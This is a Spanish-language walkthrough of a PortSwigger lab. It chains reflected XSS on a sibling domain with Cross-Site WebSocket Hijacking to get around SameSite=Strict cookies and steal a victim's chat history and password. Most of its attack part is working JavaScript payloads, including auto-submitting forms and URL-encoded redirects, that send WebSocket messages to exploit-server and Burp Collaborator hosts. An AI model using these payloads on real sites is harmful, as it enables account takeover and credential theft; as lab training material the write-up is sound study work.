SameSite Strict bypass via sibling domain
Laboratorio de Portswigger sobre CSRF
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una función de chat en vivo
que es vulnerable
a Cross-Site WebSocket Hijacking (CSWSH)
. Para resolver
el laboratorio
, debemos iniciar sesión
en la cuenta de la víctima
. Para lograrlo, usamos el servidor de explotación
proporcionado para realizar un ataque CSWSH
que exfiltre
el historial de chat
de la víctima
al servidor predeterminado de Burp Collaborator
. El historial de chat
contiene las credenciales
de inicio de sesión
en texto plano
Guía de CSRF
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de CSRF
https://justice-reaper.github.io/posts/CSRF-Guide/
Resolución
Al acceder
a la web
vemos esto
Pulsamos sobre Live chat
y vemos que tenemos un chat
Si nos dirigimos a la extensión Logger ++
de Burpsuite
vemos que no hay ningún token que proteja contra CSRF
Si nos abrimos
las herramientas de desarrollador
de Chrome
vemos que la única medida defensiva
que tenemos es el atributo SameSite
con el valor Strict
. Si una cookie
se establece con el atributo SameSite=Strict
, los navegadores no la enviarán en ninguna solicitud entre sitios web
. Esto significa que si el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie
. Esto se recomienda cuando se configuran cookies
que permiten al usuario modificar datos
o realizar acciones sensibles
, como acceder a páginas
que solo están disponibles
para usuarios autenticados
Es esencial tener en cuenta que una solicitud
aún puede ser del mismo sitio web
incluso si se emite desde un cross-origin
, es decir, una solicitud que se realiza desde un dominio diferente al de la página web que se está visitando
Debemos auditar exhaustivamente toda la superficie de ataque disponible, incluidos los sibling domains
. Un sibling domain
es una réplica exacta de un main domain
, en todos los aspectos excepto en el nombre del dominio
en sí. El main domain
y el sibling domain
deben tener el mismo host de correo
, las mismas listas de cuentas de correo
, alias
, configuraciones de filtrado de spam
, y demás. Por ejemplo, yourcompany.com
puede ser un main domain
, mientras que yourcompany.net
puede ser un sibling domain
, en ese caso, cuando se envíe el mensaje dirigido a una dirección en yourcompany.net
, lo tratará exactamente como si el mensaje hubiera sido enviado a la misma dirección en yourcompany.com
En particular, las vulnerabilidades
que permiten provocar
una solicitud secundaria
, como XSS
, pueden comprometer completamente las defensas del sitio web
, exponiendo todos los dominios
del sitio a ataques cross-origin
Además del CSRF
clásico, si el sitio web de destino es compatible
con WebSockets
, esta funcionalidad podría ser vulnerable a Cross-Site WebSocket Hijacking (CSWSH)
, que es esencialmente un ataque CSRF
dirigido al handshake
del WebSocket
Si escribimos texto en el Live chat
y le enviamos un READY
al servidor
, este nos devolverá todo el historial de chats
porque están asociados
a nuestra cookie
Esto lo podemos ver más claramente si mandamos
la petición
al Repeater
y la tramitamos
También vemos que el Live chat
carga un archivo JavaScript
Vemos que está consultando
a un sibling domain
, la cabecera Access-Control-Allow-Origin
nos está diciendo que el dominio https://cms-0ae500ec0486aad482b7f65100c4004b.web-security-academy.net
está autorizado
y por lo tanto no
le afecta
la restricción
del atributo SameSite Strict
de la cookie
. Si accedemos
al dominio
nos redirige
a un panel
de login
Vemos que se refleja el input
del username
en la web
Hemos logrado inyectar código HTML
, usando el payload <h1>test</h1>
Si intentamos un XSS
usando el payload <script>alert(3)</script>
vemos que da resultado
Si accedemos a /resources/js/chat.js
en cualquiera de los dos dominios podemos ver el archivo completo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(function () {
var chatForm = document.getElementById("chatForm");
var messageBox = document.getElementById("message-box");
var webSocket = openWebSocket();
messageBox.addEventListener("keydown", function (e) {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
sendMessage(new FormData(chatForm));
chatForm.reset();
}
});
chatForm.addEventListener("submit", function (e) {
e.preventDefault();
sendMessage(new FormData(this));
this.reset();
});
function writeMessage(className, user, content) {
var row = document.createElement("tr");
row.className = className
var userCell = document.createElement("th");
var contentCell = document.createElement("td");
userCell.innerHTML = user;
contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;
row.appendChild(userCell);
row.appendChild(contentCell);
document.getElementById("chat-area").appendChild(row);
}
function sendMessage(data) {
var object = {};
data.forEach(function (value, key) {
object[key] = htmlEncode(value);
});
openWebSocket().then(ws => ws.send(JSON.stringify(object)));
}
function htmlEncode(str) {
if (chatForm.getAttribute("encode")) {
return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
var lookup = {'\\': '\', '\r': '
', '\n': '
', '"': '"', '<': '<', '>': '>', "'": ''', '&': '&'};
return lookup[c];
});
}
return str;
}
function openWebSocket() {
return new Promise(res => {
if (webSocket) {
res(webSocket);
return;
}
let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
newWebSocket.onopen = function (evt) {
writeMessage("system", "System:", "No chat history on record");
newWebSocket.send("READY");
res(newWebSocket);
}
newWebSocket.onmessage = function (evt) {
var message = evt.data;
if (message === "TYPING") {
writeMessage("typing", "", "[typing...]")
} else {
var messageJson = JSON.parse(message);
if (messageJson && messageJson['user'] !== "CONNECTED") {
Array.from(document.getElementsByClassName("system")).forEach(function (element) {
element.parentNode.removeChild(element);
});
}
Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
element.parentNode.removeChild(element);
});
if (messageJson['user'] && messageJson['content']) {
writeMessage("message", messageJson['user'] + ":", messageJson['content'])
} else if (messageJson['error']) {
writeMessage('message', "Error:", messageJson['error']);
}
}
};
newWebSocket.onclose = function (evt) {
webSocket = undefined;
writeMessage("message", "System:", "--- Disconnected ---");
};
});
}
})();
Usando el archivo anterior
como plantilla
, vamos a construirnos un pequeño payload
que nos permita tramitar
una petición
al Live chat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<script>
var webSocket = new WebSocket('wss://0ae5003804c578d380f0172500c9009c.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0ab000e304bb78ce80481698015c007f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>
</body>
</html>
Nos abrimos
el Exploit server
y pegamos
el payload
Debemos pulsar
en Deliver exploit to victim
y después de eso en Access log
, veremos que hemos recibido
una petición
con un mensaje
en base64
Para el ver el mensaje nos dirigimos al Decoder
de Burpsuite
y decodeamos
el base64
Esto también lo podemos hacer usando Burpsuite Collaborator
, para ello lo primero en irnos a Collaborator
y pulsar en Copy to clipboard
Una vez hecho esto creamos
este payload
y lo pegamos
en el Exploit server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<script>
var webSocket = new WebSocket('wss://0ae6009604b0af07829c985600e500c6.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
fetch('https://ridae4ksfhiwltligy2c4ohnze56twhl.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
</body>
</html>
Pulsamos en Deliver exploit to victim
y en el apartado de Collaborator
si pulsamos sobre Poll now
recibiremos varias solicitudes
La solicitud HTTP
viene con este contenido
, sin embargo, estamos usando una nueva sesión
en el Live chat
, por eso recibimos solo un mensaje
. No podemos obtener el chat completo
debido al atributo
de la cookie
SameSite Strict
Para obtener el chat completo
, debemos encontrar una manera de bypassear
la seguridad
proporcionada por el atributo SameSite Strict
de la cookie
para llevar a cabo un Cross Site WebToken Hijacking (CSWTH)
Como hemos encontrado un XSS
en un sibling domain
, podemos utilizarlo para bypassear
la restricción
de SameSite Strict
. Esto se debe a que cuando hacemos las peticiones
entre sibling domains
, se envían las cookies
. No tenemos acceso a la cookie
, pero sí que se transmite
, y podemos usarla para explotar
un CSRF
Lo primero que tenemos que hacer es URL encodear
el payload anterior
usando el Decoder
de BurpSuite
1
2
3
4
5
6
7
8
9
10
11
<script>
var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
fetch('https://turvsl20lidgjezs09fw8s5z1q7hvajz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Si pulsamos click derecho > Change request method
vemos que también podemos enviar
la solicitud
de login
usando el método GET
Posteriormente nos debemos crear
este otro payload
1
2
3
4
5
6
7
<html>
<body>
<script>
document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6a%37%72%6c%35%62%66%71%79%38%71%36%77%34%63%69%64%7a%73%6d%6c%69%69%70%65%67%6b%38%38%79%77%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
</script>
</body>
</html>
Nos dirigimos al Exploit server
, pegamos
el payload
y pulsamos
sobre Deliver exploit to victim
Si nos dirigimos a Burpsuite Collaborator
y pulsamos
sobre Pull now
recibiremos varias peticiones
por HTTP
entre las cuales estará la contraseña
del usuario carlos
También podemos usar este exploit
1
2
3
4
5
6
7
8
9
10
11
12
<script>
var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a6300d403ca81a881bc4223010500de.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>
URL encodeamos
el payload
Construimos
un payload
1
2
3
4
5
6
7
<html>
<body>
<script>
document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%33%30%30%64%34%30%33%63%61%38%31%61%38%38%31%62%63%34%32%32%33%30%31%30%35%30%30%64%65%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6c%6f%67%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
</script>
</body>
</html>
Nos dirigimos al Exploit server
, pegamos
el payload
y pulsamos
sobre Deliver exploit to victim
Si nos vamos al Access log
vemos que hemos recibido
varias peticiones
en base64
Si nos copiamos
estas cadenas
en el Decoder
de BurpSuite
, obtenemos la contraseña
del usuario carlos
Otra forma alternativa
es usando un formulario
. Es importante no URL encodear
el value
de username
, si lo hacemos, no funcionará el payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body>
<form action="https://cms-0ab000980478d98983e565b8006300a1.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script>
var webSocket = new WebSocket('wss://0ab000980478d98983e565b8006300a1.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send('READY');
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a4b00930450d90983516446017f008f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>">
<input type="hidden" name="password" value="test">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Nos dirigimos al Exploit server
, pegamos
el payload
y pulsamos sobre Deliver exploit to victim
Si nos vamos al Access log
vemos que hemos recibido
varias peticiones
en base64
Nos pegamos las cadenas en base64
en el Decoder
de BurpSuite
y obtenemos
la contraseña
de carlos
La alternativa
con Burpsuite Collaborator
sería esta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body>
<form action="https://cms-0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script>
var webSocket = new WebSocket('wss://0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send('READY');
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://h9rj79ho06s4y2egfxukngkngemaa2yr.oastify.com', {method: 'POST', mode: 'no-cors', body: message});
};
</script>">
<input type="hidden" name="password" value="test">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Nos dirigimos al Exploit server
, pegamos
el payload
y pulsamos
sobre Deliver exploit to victim
En el apartado de Collaborator
si pulsamos sobre Poll now
recibiremos varias peticiones
. Si miramos el contenido
de las peticiones
podremos ver todo el historial
del Live chat
del usuario carlos
, incluida su contraseña
Nos logueamos
con las credenciales
del usuario carlos
y completamos
el laboratorio